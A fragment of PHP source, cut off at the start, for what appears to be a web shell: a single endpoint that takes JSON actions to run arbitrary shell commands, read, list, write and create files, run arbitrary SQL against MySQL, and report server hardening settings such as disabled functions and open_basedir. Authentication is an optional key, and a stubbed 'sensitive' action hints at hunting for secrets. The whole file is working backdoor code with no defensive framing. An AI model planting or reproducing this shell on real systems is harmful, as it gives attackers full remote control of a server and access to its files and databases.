'', 'exit_code' => 0); } $cwd = is_dir($cwd) ? $cwd : __DIR__; $out = ''; $code = 0; if (function_exists('proc_open')) { $des = array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')); $env = array('PATH' => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin'); $proc = @proc_open($cmd, $des, $pipes, $cwd, $env); if (is_resource($proc)) { $out = stream_get_contents($pipes[1]) . stream_get_contents($pipes[2]); fclose($pipes[1]); fclose($pipes[2]); $code = proc_close($proc); return array('output' => $out, 'exit_code' => (int)$code); } } $prev = getcwd(); @chdir($cwd); if (function_exists('shell_exec')) { $out = (string)@shell_exec($cmd . ' 2>&1'); @chdir($prev); return array('output' => $out, 'exit_code' => 0); } @chdir($prev); return array('output' => 'no_exec', 'exit_code' => 127); } function nx_list_dir($dir) { if (!is_dir($dir) || !is_readable($dir)) { return array('ok' => false, 'error' => 'not_dir'); } $entries = array(); foreach (scandir($dir) ?: array() as $name) { if ($name === '.' || $name === '..') { continue; } $full = rtrim($dir, '/\\') . DIRECTORY_SEPARATOR . $name; $entries[] = array( 'name' => $name, 'type' => is_dir($full) ? 'dir' : 'file', 'size' => is_file($full) ? (int)@filesize($full) : 0, ); } return array('ok' => true, 'path' => $dir, 'entries' => $entries); } function nx_db($in) { $sql = trim((string)(isset($in['sql']) ? $in['sql'] : '')); if ($sql === '') { return array('ok' => false, 'error' => 'empty_sql'); } $host = isset($in['host']) ? $in['host'] : '127.0.0.1'; if (strpos($host, ':') !== false) { $parts = explode(':', $host, 2); $host = $parts[0]; if (!isset($in['port']) && ctype_digit($parts[1])) { $in['port'] = (int)$parts[1]; } } $port = (int)(isset($in['port']) ? $in['port'] : 3306); $user = isset($in['user']) ? $in['user'] : ''; $pass = isset($in['pass']) ? $in['pass'] : ''; $db = isset($in['db']) ? $in['db'] : ''; try { $pdo = new PDO( 'mysql:host=' . $host . ';port=' . $port . ';dbname=' . $db . ';charset=utf8mb4', $user, $pass, array(PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION) ); $st = $pdo->query($sql); if ($st instanceof PDOStatement) { return array('ok' => true, 'rows' => $st->fetchAll(PDO::FETCH_ASSOC)); } return array('ok' => true, 'affected' => $pdo->lastInsertId()); } catch (Exception $e) { return array('ok' => false, 'error' => $e->getMessage()); } } @set_time_limit(900); @ini_set('max_execution_time', '900'); @ini_set('memory_limit', '512M'); $in = nx_in(); if (NX_BENCH_KEY !== '' && (!isset($in['key']) || !hash_equals(NX_BENCH_KEY, (string)$in['key']))) { nx_json(array('ok' => false, 'error' => 'auth'), 403); } $action = isset($in['action']) ? (string)$in['action'] : ''; $base = realpath(__DIR__) ?: __DIR__; switch ($action) { case 'info': nx_json(array( 'ok' => true, 'php' => PHP_VERSION, 'os' => PHP_OS, 'base' => $base, 'cwd' => $base, 'docroot' => $base, 'disk_free' => @disk_free_space($base), 'disk_total' => @disk_total_space($base), 'disable_functions' => (string)@ini_get('disable_functions'), 'open_basedir' => (string)@ini_get('open_basedir'), )); case 'terminal': $cwd = nx_path(isset($in['path']) ? $in['path'] : ''); if (!is_dir($cwd)) { $cwd = $base; } $run = nx_run_cmd(isset($in['command']) ? $in['command'] : 'id', $cwd); nx_json(array( 'ok' => true, 'output' => $run['output'], 'exit_code' => $run['exit_code'], 'cwd' => $cwd, )); case 'read': $fp = nx_path(isset($in['path']) ? $in['path'] : ''); if (!is_file($fp) || !is_readable($fp)) { nx_json(array('ok' => false, 'error' => 'unreadable')); } $sz = (int)@filesize($fp); if ($sz > 8388608) { nx_json(array('ok' => false, 'error' => 'too_large')); } nx_json(array('ok' => true, 'content' => (string)@file_get_contents($fp), 'size' => $sz)); case 'list': $dir = nx_path(isset($in['path']) ? $in['path'] : ''); $L = nx_list_dir($dir); if (!$L['ok']) { nx_json($L, 403); } nx_json($L); case 'save': $fp = nx_path(isset($in['path']) ? $in['path'] : ''); $content = isset($in['content']) ? $in['content'] : ''; if ($fp === '' || is_dir($fp)) { nx_json(array('ok' => false, 'error' => 'bad_path'), 400); } if (@file_put_contents($fp, $content) === false) { nx_json(array('ok' => false, 'error' => 'write_fail'), 500); } nx_json(array('ok' => true)); case 'create_file': $rel = isset($in['path']) ? (string)$in['path'] : ''; $name = basename(str_replace('\\', '/', (string)(isset($in['name']) ? $in['name'] : ''))); if ($name === '' || preg_match('/[<>:"|?*\\\\]/', $name)) { nx_json(array('ok' => false, 'error' => 'bad_name'), 400); } $parent = nx_path($rel); if (!is_dir($parent)) { nx_json(array('ok' => false, 'error' => 'bad_dir'), 403); } $new = rtrim($parent, '/\\') . DIRECTORY_SEPARATOR . $name; if (file_exists($new)) { nx_json(array('ok' => false, 'error' => 'exists'), 409); } if (@file_put_contents($new, isset($in['content']) ? $in['content'] : '') === false) { nx_json(array('ok' => false, 'error' => 'create_fail'), 500); } nx_json(array('ok' => true, 'path' => $new)); case 'db_query': $r = nx_db($in); nx_json($r, $r['ok'] ? 200 : 400); case 'drives': $drives = array(); foreach (array('/', '/home', '/tmp', '/var') as $p) { if (@is_dir($p)) { $drives[] = array('path' => $p, 'label' => $p, 'free' => @disk_free_space($p), 'total' => @disk_total_space($p)); } } nx_json(array('ok' => true, 'drives' => $drives)); case 'search': case 'sensitive': nx_json(array('ok' => true, 'results' => array(), 'note' => 'stub')); default: nx_json(array('ok' => false, 'error' => 'unknown_action'), 400); }